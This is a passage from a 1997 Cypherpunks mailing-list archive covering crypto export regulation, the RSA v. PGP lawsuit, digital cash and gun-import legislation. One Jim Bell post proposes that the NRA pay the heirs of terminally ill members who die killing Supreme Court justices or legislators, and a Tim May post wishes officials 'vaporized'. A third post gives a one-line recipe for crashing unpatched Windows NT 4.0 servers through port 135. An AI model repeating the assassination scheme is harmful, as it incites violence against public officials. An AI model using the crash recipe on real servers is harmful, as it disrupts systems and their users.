by government without bothering any longer with the formality
of engaging in a lengthy campaign to create a threat to the
citizens in the minds of the public.
  It's no wonder that the list conspiracy theorists have been
quiet as of late. Once the power mongers are kicking in your
door, then it's rather late to wonder if they are tapping
your phone as well.

  How long can it be before the government no longer feels
the need to inform us about the details of who they are
saving us from, and why?
  I am worried about falling asleep tonight. I fear that I will
go to sleep in my bed and wake up in a prison cell, with a
jackbooted guard informing me, "It's OK. You're safe now."

(.)(.)







From jimbell at pacifier.com  Thu May  8 01:43:25 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 16:43:25 +0800
Subject: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
Message-ID: <199705080823.BAA13423@mail.pacifier.com>


At 13:21 5/07/97 -0400, Jeff Barber wrote:
>The NRA knows this.  They just don't trust the Supremes to agree
>with their conclusion.  Understandably so, given the court's record--
>not to mention its usual reluctance to overturn precedents.
>
>This is a problem with constitutions or any other sort of written
>documents.  Pinheads can always say the document doesn't *really* mean
>what it clearly says.  There's obviously no way to fix that through
>the document itself.
>
>(I'm sure Jim Bell will say he has a solution though. :-)


As if on cue!

If the NRA had any guts, they would announce that they have concluded after
years of observation and study that there are enormous costs to having the
RTKBA continue to be poorly respected, costs which translate into (at least)
potentially hundreds or maybe even thousands of innocent deaths per year,
not to mention the continuing degradation of respect for various other
constitutional rights.  It would then observe that if we come to the
reasonably egalitarian conclusion that the life of a Supreme Court justice
or Senator or Representative is no more valuable than the life of an
ordinary citizen, the solution to the 2nd amendment problem is clear.  

(Some (many?) courts seem to recognize the "lesser evil" defense, the idea
that if a person has to choose between tolerating a greater evil or
committing a crime ("lesser evil") to prevent it, he is entitled to do the
latter.  I'm not suggesting that they would view this philosophy as
applicable in this particular case; merely that it is appropriate to do so.)

The NRA is a fairly large organization.  At any one time, there are probably
over a hundred members with terminal illnesses, or others who would be
willing to give their lives in the performance of a task to punish somebody
for violating citizens' rights by official actions.  A public announcement
by the NRA that they will gladly pay upwards of a million dollars in "life
insurance benefits" to to the heirs of any member who dies in this type of
supreme service (or a million dollars in legal defense, etc) would put the
"fear of God" into the thugs.




Jim Bell
jimbell at pacifier.com






From rah at shipwright.com  Thu May  8 02:34:09 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Thu, 8 May 1997 17:34:09 +0800
Subject: Bypassing the Digicash Patents
In-Reply-To: 
Message-ID: 


At 10:00 pm -0400 on 5/5/97, Steve Schear wrote:


> If I grant that you're right that DBCs will be 3-4 orders of magnitude
> cheaper than the book-entry approaches, and I'm ready yet, there is still
> the issue of whether such savings can be quickly passed on to the merchant
> and consumer, and thus spark this revoltion.

I actually don't care about the merchant and consumer. The hole you pour
the cost savings into belongs to the people clearing the trades, the
trustee and the underwriter. They'll take care of the consumer and the
merchant. Again, the reason we have ATMs is because they put tellers out of
work. If we can move that decimal point three or four places to the left
with strong financial cryptography, then we won't have a spark, we'll have
a Chixalub event. :-).

> Consider this, if a DBC-based system were to garner 3% (about what it might
> take to get noticed by the consumer, retail and business markets) of the
> GDP's $4 trillion in transactions, or about $120 billion, and the
> transaction fees were $0.0025, this would generate about $300 million in
> fees.  This is about what Western Union International generates in fees, a
> very respectable sized business.  But how much marketing and branding
> expenditures would it take to get there?  All financial products which
> attempted to reach a broad market and have a significant impact have
> required, in the past, significant up-front marketing expenses (VISA
> succeeded because BankAmericard spent in the $10s million per year range).
> Unless the Net will enable a 3-4 orders of magnitude reduction in such
> expenses, amounting to an historic bootstrap, it is difficult to see how
> this will occur without a white knight.

"Branding" is not the issue here. What we're talking about is the creation
of exactly the opposite, what economists call "perfect" competition, like
in commodities markets, where one soybean is as good as another. Fungible,
in other words. In the bond market, once you have two bonds which are
equivalent in credit rating, call structure, etc., effectively equivalent
in total return, in other words, you don't care who issues it.

The way we get to this is to exponentially increase the number of
underwriters, which is what Moore's Law gives us in the form of those
underwriting microbots I blather on so much about. If the costs of
generating that $300 million you're talking about is less than that revenue
by any small but appreciable fraction, you have a market. By the way, we
should avoid conflating cost with revenue. I'm talking about reducing the
cost of delivery by 3 or 4 orders of magnitude. Whatever you charge is what
the market will bear. :-). It's the profit margin, not the market size
which counts, and I claim that someday you'll have very small entities
making very small markets indeed. Remember, the original Mark Twain Bank
"mint" ran on a 486. If, as Dr. Myrhvold likes to point out, computers 20
years from now are going to be a million times more powerful, then that
creates a scale of financial entity to which $300 million is huge. Way too
big to think about.

In the meantime, if, due to the entertaining pricing distortions of
creating a new market you were able to sell that $300 million worth of
total cost for $3 billion, that would be cool, right? At least until you
had some competition, and, given Moore's law, that competition could happen
pretty quick...

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From adam at homeport.org  Thu May  8 04:58:48 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 8 May 1997 19:58:48 +0800
Subject: US Citizens doing crypto work overseas
In-Reply-To: <199705071826.OAA18201@goffette.research.megasoft.com>
Message-ID: <199705081130.HAA21761@homeport.org>


	It depends if they're willing to add a clause guaranteeing
legal fees.  (And have the appropriate size to do so in a convincing
way.)  With legal fees spoken for, many Americans do work overseas.

	Its all a matter of the US government not wanting to take on a
well funded legal team to try and claim that Americans can't speak to
furriners.  They much prefer mild mannered nuclear activists with a
large mortgage and a family to feed.  They're easier to beat up.

Adam


C Matthew Curtin wrote:
| Does anyone have any idea how extensive the legal entaglements might
| be for a US Citizen to accept work overseas developing crypto software
| for a foreign company?
| 
| Someone at a company in Australia is interested in hiring some
| crypto-clued folks, and has asked me if it's even worth pursuing
| any US citizens.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From jimbell at pacifier.com  Thu May  8 08:20:01 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Thu, 8 May 1997 23:20:01 +0800
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705081446.HAA07883@mail.pacifier.com>


At 17:20 5/07/97 -0700, Vladimir Z. Nuri wrote:
>JB's editorial is so mild-mannered I can barely resist comment.
>this from the JB we all know and love? this is so bland as to
>be almost PC, and frankly I agreed with every statement in
>it, virtually. how did he manage to avoid the label "assassination
>politics"? in fact how does he avoid the label "assassination"
>entirely? 

Hey, doofus, the article was 840 words long, 40 words longer than the length
recommended by the newspaper.  It ALSO avoids any mention of cryptography,
or digital cash, both of which would have not only just confused the average
newspaper reader, but  would have ballooned the article far past the length
that the newspaper could reasonably consider publishing.


>I think the main flimflammery in the essay is the concept of
>"criminal". JB always advocated in the past that merely being
>a bureacrat was virtually criminal, and that people would donate
>money toward their demise. 


Repeat same point above about length and detail.

>note to everyone: jim bell's editorial has virtually no relation
>to his past essays. I propose that someone send that newspaper
>his AP article.

They certainly had access to it.  The guy I talked to at the newspaper
claimed he had read it.


Jim Bell
jimbell at pacifier.com






From usura at replay.com  Thu May  8 08:23:27 1997
From: usura at replay.com (Alex de Joode)
Date: Thu, 8 May 1997 23:23:27 +0800
Subject: Netscape-128 not at Replay.com
In-Reply-To: <3.0.1.32.19970507140543.00912550@localhost>
Message-ID: <199705081432.QAA02801@basement.replay.com>



ftp.replay.com:/pub/crypto/browsers


: 
: 
: It seems that the US versions of Netscape have been removed from
: ftp.replay.com. Did Netscape comment on the software being available, or
: what happened?
: 
: Mike.
: 
: 


-- 
 -aj-






From rodger at worldnet.att.net  Thu May  8 08:30:05 1997
From: rodger at worldnet.att.net (Will Rodger)
Date: Thu, 8 May 1997 23:30:05 +0800
Subject: Interactive Week exclusive - Clinton Admin. to announce new Crypto regs. this PM
Message-ID: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>


-----BEGIN PGP SIGNED MESSAGE-----

Something you might find interesting....

By Will Rodger
Washington Bureau Cheif
Inter at ctive Week

The US government will announce later today that will soon lift controls on
technology crucial to doing business over the Internet, White House advisor
Ira Magaziner said yesterday evening.

Under plans expected to be outlined at a noontime press briefing today, the
federal government will require that producers of specialized, narrowly
focused data scrambling products submit only to one-time government
approval before they sell powerful encryption products abroad. Current
policy requires case-by-case approval in most instances.

"Basically it will say that for basic financial and electronic applications
there will be no export restrictions and no requirement for key recovery,"
Magaziner said.

US Undersecretary of Commerce William Reinsch is expected to give details
of the plan. Reinsch could not be reached for comment.

Computer industry executives and public interest groups said the new
arrangement, though far short of deregulating all encryption, was a step in
the right direction.

"This is evidence that the administration acknowledges that manufacturers
of foreign encryption products do exist," said Peter Harter, public policy
counsel at Netscape Communications Corp. "Their policy has put American
industry in the back seat and now we�re trying to catch up."

David Banisar, policy analyst at the Washington-based Electronic Privacy
Information Center, called the move a "small step forward." Nonetheless,
"it still doesn�t reach the needs for secure e-mail or other purposes," he
said.

Computer software and hardware eligible for decontrol under the proposed
regulations must fit several criteria, said Kawika Daguio, a public affairs
specialist with the American Bankers Association who helped hammer out an
agreement for the new regulations. 

.Though products designed for use by the general public may be unlimited in
the strength of the encryption techniques they employ, they must also be
strictly limited in use, he said. Software written for home banking, for
instance, must be usable only for bank transactions and not easily modified
for general use. Most programs handed out by banks for PC banking at home
fit that criteria, he said. 

Programs that use the industry  SET standard for credit card purchases over
the Internet should easily meet Commerce Department criteria, too, since
the SET standard encrypts only those data essential to making online
purchases; the limited uses of the standard render it all but useless for
general use. Visa, MasterCard and American Express developed the standard.

"I�d expect programs written with SET to get very rapid approval - within
weeks," Daguio said.

In addition, US companies will have leeway to export any kind of encryption
to any bank as long as that encryption is used only for legitimate,
internal bank functions. Products designed for merchant-to-merchant
transactions without a bank in between would still be subject to stricter
controls, including use of weak software routines that make decoding by law
enforcement easy, or deposit of decoding keys with law enforcement bodies
prior to export.

Commerce Department regulations will spell out details this month or next,
Daguio said. 

Though more sweeping in nature than past government regulations, the US
banking industry has long enjoyed more freedom to use powerful encryption
technologies abroad than other industries. Successive administrations have
granted banks that leeway since by definition they must have greater
safeguards over employee behavior than all but a handful of industries. In
addition, financial applications have long been easier to design for export
since they typically require encryption of only a few standard data fields.
If sufficiently limited in design, the reasoning goes, they pose no threat
to law enforcement concerned about smugglers or terrorists who may want to
evade detection by law enforcement.
 
The government and the computer industry have for years been locked in
disputes over the relative importance of encryption technologies and their
potential for misuse.

Since encryption encodes sensitive information like credit card numbers,
voice traffic over public networks and anything else that can be converted
into an electronic stream of ones and zeroes, proponents of electronic
commerce have insisted the technology must be widely deployed to assure the
security of computer networks worldwide. Absent US encryption exports, they
claim, American companies will soon lose their leadership role in a
technology crucial to the country�s competitiveness.

Federal officials, on the other hand, have said export of the technology
threatens global security, since terrorists and criminals in outlaw states
like Libya and North Korea could easily use the technology to defeat
wiretaps and data searches increasingly prized by law enforcement and
national security agencies. In response, they demand that exports of
powerful encryption include so-called key recovery - a method by which law
enforcement can gain access to the encryption keys used to encode messages.
Many public interest groups have condemned the plans, however, saying such
a transfer of power to law enforcement threatens to usher in an era of
ubiquitous and illegal eavesdropping. Several bills pending in Congress
would do away with nearly all controls. Reinsch was expected to testify at
congressional hearings on one of the bills this morning.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM3HngkcByjT5n+LZAQHL+Af/WdDoOuORps0gkZQmI4B6mgY63HeTzKZH
kW19knlqU6SMC/GSdFrZLiWZhkDec2/wLzq57wdzlPjdPd+5wCvTYWmJAX68Kf6b
9g6cm3AbhZSKmaOtUtwOmUwAtuS5DPaGiPejAc9716K0/U9+0YBNKMZ/qVYAhrLc
yR4yxLqpXd68zhirYIxtjHcB1fDzRO6F91stxvvDsg2bg2pPvLidWOBoknMZmCQt
ALV5Z1yuik6tNOIPx+4ty7kWMMIQ0E3DqVKPxVAbFchCTohcee55U6Pmg3pbYtVg
rrhYr4W8s/juv/9JrVa99+usyt/ohe+N3HcYtJ5WVLF2ED3UT/YDBg==
=Q3/z
-----END PGP SIGNATURE-----







From sunder at brainlink.com  Thu May  8 09:15:30 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 9 May 1997 00:15:30 +0800
Subject: Custom programming, Web site design & development, and more.
In-Reply-To: <199705080051.TAA00842@manifold.algebra.com>
Message-ID: 


On Wed, 7 May 1997 ichudov at algebra.com wrote:

> does he still sell zeros?

Yeah, and he's applied a patent on the idea of /dev/null. Since it 
produces zeros, he plans to sue every unix var on the planet for patent 
infringement right after he gets the patent.  (Little does he know about 
EOF - but soon as he gets a clue, he'll sue on the concept of EOF as 
well.)

He's working on a beta of a program that produces 1's.  That's  secret 
project he's working on next. :)

We really should be careful with ROT13 though... He might get some ideas 
there too...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Thu May  8 09:20:03 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 9 May 1997 00:20:03 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: <3.0.32.19970507220052.0073faa8@netcom13.netcom.com>
Message-ID: 


On Wed, 7 May 1997, Lucky Green wrote:

> Though shalt not use static size buffers for variable length data. [I don't
> need to tell this to Bill and many others on this list. The rest better
> chisel it in granite. :-]

Exception1: Unless you are fragmenting incoming data into chunks equal to 
or smaller than the size of your static buffer less 1 byte for the NUL 
character terminator. :)

Lemma1: Never assume anything about incoming data sizes, or formats.  
Example: The SBM client being able to do the equivalent of "cd .." on the 
root level of an NT share.

Lemma2: Always make sure when expecting data to time out if you do not 
receive what you expect.  Example: telnet to port 135 of unpatched NT 
server 4.0, type 10 characters, hit ENTER and disconnect.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder at sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From Rory at Accesshub.com  Thu May  8 11:14:04 1997
From: Rory at Accesshub.com (Rory Picard)
Date: Fri, 9 May 1997 02:14:04 +0800
Subject: mailing list
Message-ID: <3372127C.6826@Accesshub.com>


james at accesshub.com






From stewarts at ix.netcom.com  Thu May  8 11:19:26 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 9 May 1997 02:19:26 +0800
Subject: IP: Crypto News Flash (fwd)
Message-ID: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>


>From: "Michael Froomkin - U.Miami School of Law"
>              
>Subject:      IP: Crypto News Flash (fwd)
>To: CYBERIA-L at LISTSERV.AOL.COM
>
>Amazing if true.  Part of my amazement is that Sen. Kerry, who I think of
>as somewhat moderate if not somewhat liberal, would be a party to this.

...
>---------- Forwarded message ----------
>Date: Thu, 08 May 1997 12:51:01 -0400
>From: David Farber 
>Subject: IP: Crypto News Flash
>
>
>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>
>Jacking in from the "Take My Crypto, Please" port:
>
>Washington, DC--A new anti-crypto bill now floating around Washington
>would place restrictions on the import of strong crypto products into the
>U.S. and possibly outlaw the use of non-government approved encryption
>products.
>
>During a morning briefing at the Capitol,  Sen. Bob Kerry
>(D-Neb.), talking about his impending new crypto bill, which he will call
>the "Secure Public Interest Act" said that the bill WILL include
>IMPORT restrictions on crypto software.
>
>Incredible.  We've heard rumblings the folks behind crypto strangling
>efforts would jump to import controls on crypto software if key escrow
>weren't widely adopted.
>
>Restricting imports, of course, is a kind of de facto domestic
>restriction as well.  It  means that companies can't import strong
>foreign made crypto products to use in their worldwide offices, forcing
>them to use the govt. mandated weaker crypto products.
>
>Next step:  outlawing some domestic crypto products.
>
>Kerry, when asked if there would be restrictions on private encryption,
>said "I don't envision that at the outset, but it might end up in the bill."
>
>Meeks out...
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Thu May  8 13:18:02 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 9 May 1997 04:18:02 +0800
Subject: Encryption--RSA v. PGP
Message-ID: 



--- begin forwarded text


MIME-version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by listserv.aol.com id
                      LAA22230
Date:         Thu, 8 May 1997 11:02:39 -0500
Reply-To:     Law & Policy of Computer Communications
              
Sender:       Law & Policy of Computer Communications
              
From:         "Kevin J. Connolly" 
Subject:      Encryption--RSA v. PGP
To:           CYBERIA-L at LISTSERV.AOL.COM

-----BEGIN PGP SIGNED MESSAGE-----

RSA Data Security, Inc. filed an action in the Superior Court of California,
San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
claiming that its license to distribute RSA-based encryption software is
based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
encryption software for commercial use ever since.  The complaint, filed
by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
derived from a license to Lemcom, which in turn has been terminated.

This might well mean the end of PGP.  This would certainly be a bad
outcome for security and freedom on the Internet.  I will be following
these developments and report to the list.  It's ironic that RSA is doing this
while complaining about PGP conduct as a freeloader.  I doubt that public
key encryption would be anywhere as notorious as it has become if it
were not for Phil Zimmermannn's crusade; and I haven't noticed RSA
offering to help with Phil's legal expenses.

Kevin J. Connolly
The opinions expressed in this communication are those of the author,
not of Eaton & Van Winkle.
This communication is not legal advice.  If it were legal advice, it would
be accompanied by an invoice.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM3HrGTQOqu5WyMfpAQFX7AP/T0R54+S05FqKJ+zZXVb1uCHMrPZmagEm
aiW9Dfgwo/K3tXbkrbS0WEtCc8tZobXbL7fLOT82qzKvXehRsERILV2keeaXlAe7
WN5c66SjaWe/xGfLQ/8UAnzaBl6l+olG8gN2zxGatbLDcKuakP7j0LGRuzhTXAaG
BOYGDUbsSAY=
=VCFW
-----END PGP SIGNATURE-----

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From tcmay at got.net  Thu May  8 13:24:52 1997
From: tcmay at got.net (Tim May)
Date: Fri, 9 May 1997 04:24:52 +0800
Subject: Trapped behind the Silicon Curtain
In-Reply-To: <3.0.1.32.19970508103647.002ec6d8@popd.ix.netcom.com>
Message-ID: 


At 9:36 AM -0800 5/8/97, Bill Stewart wrote:
>>From: "Michael Froomkin - U.Miami School of Law"
>>From: David Farber 
>>Subject: IP: Crypto News Flash
>>CyberWire Dispatch // Copyright (c) 1997 // May 1997
>>
>>Jacking in from the "Take My Crypto, Please" port:
>>
>>Washington, DC--A new anti-crypto bill now floating around Washington
>>would place restrictions on the import of strong crypto products into the
>>U.S. and possibly outlaw the use of non-government approved encryption
>>products.
>>
>>During a morning briefing at the Capitol,  Sen. Bob Kerry
>>(D-Neb.), talking about his impending new crypto bill, which he will call
>>the "Secure Public Interest Act" said that the bill WILL include
>>IMPORT restrictions on crypto software.
...

What, no mention of "Child Protection"?

This bill has been floating around D.C. for several weeks, as the
Administration searched for a sponsor, according to some folks I know close
to Ground Zero.

And we've known the Clinton fascists have planned this for several years.
(The Bush fascists would've done the same thing had they been reelected in
'92, too.)

This will place the United States behind a "Silicon Curtain," with ordinary
people forbidden to _import_ increasing amounts of information.
Historically, imports have been restricted under two conditions: first, for
tariff reasons, and, second, for contraband reasons. The imposition of
import restrictions on crypto is clearly of the latter type, which means
that posession of certain types of crypto in the U.S. would be tantamount
to possessing contraband. Hey, if they can't stop cargo planes full of
bales of marijuana from entering, nor shiploads of AK-47s, how can they
stop _bits_?

But they'll try. And as Whit Diffie so accurately characterized things, the
"War on Crypto" will be fought the way the "War on Drugs" has been fought,
by terrifying corporations with the threats of seizure of assets and
massive fines if various War on Drugs measures are not "voluntarily"
adopted. Thus, we can expect to see corporations pressed into service as
unpaid crypto warriors.

It's all part of the New World Order. Don't laugh. Conspiracy theories
aside, it's part of an overall trend to emasculate and disarm obstreprous
citizen-units, all in the name of public safety. Of course, what it really
is about is the natural role for any government to play: to keep itself in
power. Thus, laws are passed by regimes on all sides of the political
spectrum to make dissent and revolution harder for citizen units to mount.

Nothing new here.

The problem cannot be solved politically. Just stay clear of soft targets.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From smith at securecomputing.com  Thu May  8 15:17:11 1997
From: smith at securecomputing.com (Rick Smith)
Date: Fri, 9 May 1997 06:17:11 +0800
Subject: Clinton Admin. to announce new Crypto regs
In-Reply-To: <3.0.32.19970508104809.0070e8cc@postoffice.worldnet.att.net>
Message-ID: 


These "new" regulations "to be issued" are scrambling to catch up with
previous and current practices. It doesn't change things at all.

When they issued the new export regulations in January, the glaring hole
was the absence of an explicit exception for the financial industry. Under
the customs that evolved around ITAR, you could get an export license for
strong crypto as long as the overseas customer was a financial institution.
This announcement is simply a public acknowledgment that the BXA will look
favorably on export requests to banks and that someday they'll try to draft
specific regulations on the subject. Meanwhile you do it by grinding
through the bureacracy.

Export permission for strong crypto that only encrypts financial data is
clearly a variant of this tradition. They already granted export permission
for one vendor of such a system, so I'm not surprised they're planning to
make up a regulation to cover it.

Rick.
smith at securecomputing.com







From tcmay at got.net  Thu May  8 16:23:54 1997
From: tcmay at got.net (Tim May)
Date: Fri, 9 May 1997 07:23:54 +0800
Subject: Business needs over citizen rights
Message-ID: 



It's interesting that in the various recent developments over crypto, the
needs of business are taking priority over the basic rights of citizens. In
fact, the debate is being driven by issues of "competitiveness."

* In the latest round of crypto export policy, relayed to us by Will Rodger
of "Interactive Week," it is relaxation of export for financial and banking
software that is being pushed. (Possibly connected to the next item,
though.)

* Meanwhile, the Administration's "Crypto Import Restrictions" (officially
entitled "The Safe Streets, Child Protection, and Public Safety Act") are
about to be introduced, as reported to us by Brock Meeks (on this list by
Bill Stewart). It is possible that this is also related to corporate
interests, as this would stop certain offshore developers--unhindered by
U.S. laws--from competing in the U.S. against U.S. companies (this is mere
speculation on my part, but it may be part of the big picture).

* And SAFE has special provisions for financial cryptography (read: Banking
interests), while also putting the screws to any citizen-units who step out
of bounds with crypto.

...and so on.

What these trends add up to is an almost complete disregard for basic,
fundamental issues of civil liberties and freedom in favor of various
craftings of laws to advantage some American companies, disadvantage other
American companies, and manipulate the international competitive scene.

This is what politics has always been, of course. Pork barrels and pigs at
the trough, to mix some porcine metaphors.

It shows how far we have degenerated as a nation. Exactly which parts of
the First, Second, etc. Amendments do these porkers not understand?

May they all be vaporized.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From aba at dcs.ex.ac.uk  Thu May  8 16:35:06 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 9 May 1997 07:35:06 +0800
Subject: Encryption--RSA v. PGP
In-Reply-To: 
Message-ID: <199705082209.XAA01949@server.test.net>



Kevin Connolly  writes on cyberia-l forwarded to cpunks:
> RSA Data Security, Inc. filed an action in the Superior Court of California,
> San Mateo County, against Pretty Good Privacy, Inc.  PGP has been
> claiming that its license to distribute RSA-based encryption software is
> based on a chain running from Public Key Partners to Viacrypt, Inc.  PGP
> acquired Viacrypt, Inc. in January 1996 and has been selling RSA-based
> encryption software for commercial use ever since.  The complaint, filed
> by Tomlinson Zisko Morosoli & Maser, alleges that PGP's license is
> derived from a license to Lemcom, which in turn has been terminated.
> 
> This might well mean the end of PGP.  

I don't think so.

PGP has been standardising on El Gamal which is not covered by RSA's
patents, for precisely the reason that RSA Inc has a bad record as a
litigious patent worker.  El Gamal is a variant of Diffie-Hellman, and
the patents on Diffie-Hellman are set to expire RSN (later this year,
Sept?)

There is still the putative claim by RSA that they have a blanket
patent covering `any public key system', but it sounds like they are
not relying on this claim here.

I think that the initial PGP products are using RSA, however I
understood PGP is moving to El Gamal, where RSA is due to be relegated
to a `for backwards compatibility only' feature.  This suit will maybe
accelerate this move away from RSA, and perhaps costs backwards
compatibility.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Senator Kerrey's office faxed a transcript of his remarks
today on his new encryption bill:

   http://jya.com/kerrey.htm  (23K)







From dlv at bwalk.dm.com  Thu May  8 17:22:30 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 9 May 1997 08:22:30 +0800
Subject: Banking Secrecy and Nazi Gold
In-Reply-To: <3.0.1.32.19970508001526.027646a4@panix.com>
Message-ID: <2yae7D2w165w@bwalk.dm.com>


frissell at panix.com writes:
> 
> At 07:50 PM 5/7/97 -0500, Igor Chudov @ home wrote:
> >According to americal common law, as I understand it, no one can get
> >a valid title to the property from someone who did not have such title.
> >
> >E.g., if you steal Vulis's car and then sell it to me, I will not have
> >the title to the car and will have to return it back to Vulis (and may
> >be able to try to recover my loss from you). The same will be true if
> >you lend the stolen car to me -- he can get it back if he proves that it
> >is his.
> 
> The thief's ownership of personal property is good against the whole world
> save the true owner. 
> 
> "18. In general, possession constitutes the criterion of title of 
> personal property, because no other means exist by which a knowledge of the 
> fact to whom it belongs can be attained. A seller of a chattel is not, 
> therefore, required to show the origin of his title, nor, in general, is a 
> purchaser, without notice of the claim of the owner, compellable to make 
> restitution; but, it seems, that a purchaser from a tenant for life of 
> personal chattels, will not be secure against the claims of those entitled 
> in remainder. Cowp. 432; 1 Bro. C. C. 274; 2 T. R. 376; 3 Atk. 44; 3 V. & B. 
> 16."
> 

My problem with Igor's model is that has a "gubmint" that can decide that
although you possess something, you don't have a title to it.

I don't think the cost of having a "gubmint" justifies the convenience(?)
of having one's stolen property recovered.

I point Igor's attention to the two categories of real estate ownership in
traditional Russian legal framework (probably borrowed from Poland and
Germany...) - the kind that cannot be taken away by the state for any
reasn (even as punishment for treason), and the kind that can be taken
away, e.g., for non-paymet of taxes.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From Lynx_User at linux.nycmetro.com  Thu May  8 17:27:29 1997
From: Lynx_User at linux.nycmetro.com (Lynx_User at linux.nycmetro.com)
Date: Fri, 9 May 1997 08:27:29 +0800
Subject: guns_1.html
Message-ID: <199705082310.TAA01512@linux.nycmetro.com>



                             Reuters New Media
                                      
                                   [LINK]
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: US Envoy Struggles to Revive Israeli-PLO Talks
   Next Story: Bill Will Tie U.S. Aid to Bosnia Arrests
     _________________________________________________________________
   
   Thursday May 8 2:16 PM EDT 
   
Bill Sought to Ban Military Firearm Imports

   WASHINGTON (Reuter) - A bill to ban imports of surplus military
   firearms back into the United States was introduced Thursday in the
   House and the Senate.
   
   Guns such as the M-1 carbine were given or sold by the United States
   to some 20 nations over the last 50 years. Sponsors of the bill said
   many of the 2 1/2 million weapons were now being imported to the
   United States and used by criminals.
   
   "These wartime weapons are the kinds of guns that criminals can easily
   convert into illegal, fully automatic weapons," Sen. Frank Lautenberg,
   a New Jersey Democrat, said at a news conference.
   
   Lautenberg said many of the weapons were coming from Iran, once a U.S.
   ally but now estranged from Washington.
   
   "The Ayatollah (Khomeini) must be laughing in his grave," Lautenberg
   said, referring to Iran's late revolutionary leader.
   
   Lautenberg was joined in introducing the bill by Sen. Barbara Boxer of
   California and Reps. Patrick Kennedy of Rhode Island and Carolym
   Maloney of New York, all Democrats.
   
   They said it would allow collectors to buy imports of rifles from the
   Second World War or earlier.
   
   "The Anti-Gun Invasion act will slam the door on weapons, once
   intended to help our allies, from coming back into our country and
   getting into the hands of criminals," Kennedy said.
     _________________________________________________________________
                                      
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    Questions or Comments






From kqb at planet.net  Thu May  8 17:33:11 1997
From: kqb at planet.net (kqb at planet.net)
Date: Fri, 9 May 1997 08:33:11 +0800
Subject: Stego Cash?
Message-ID: <199705082338.TAA24157@rho.pair.com>


Previous Subject: Re: Clinton Admin. to announce new Crypto regs

Rick Smith  said:
> These "new" regulations "to be issued" are scrambling to catch up with
> previous and current practices. It doesn't change things at all.
>   . . .
> Export permission for strong crypto that only encrypts financial data is
> clearly a variant of this tradition.

This raises an intriguing possibility that I am sure is _not_
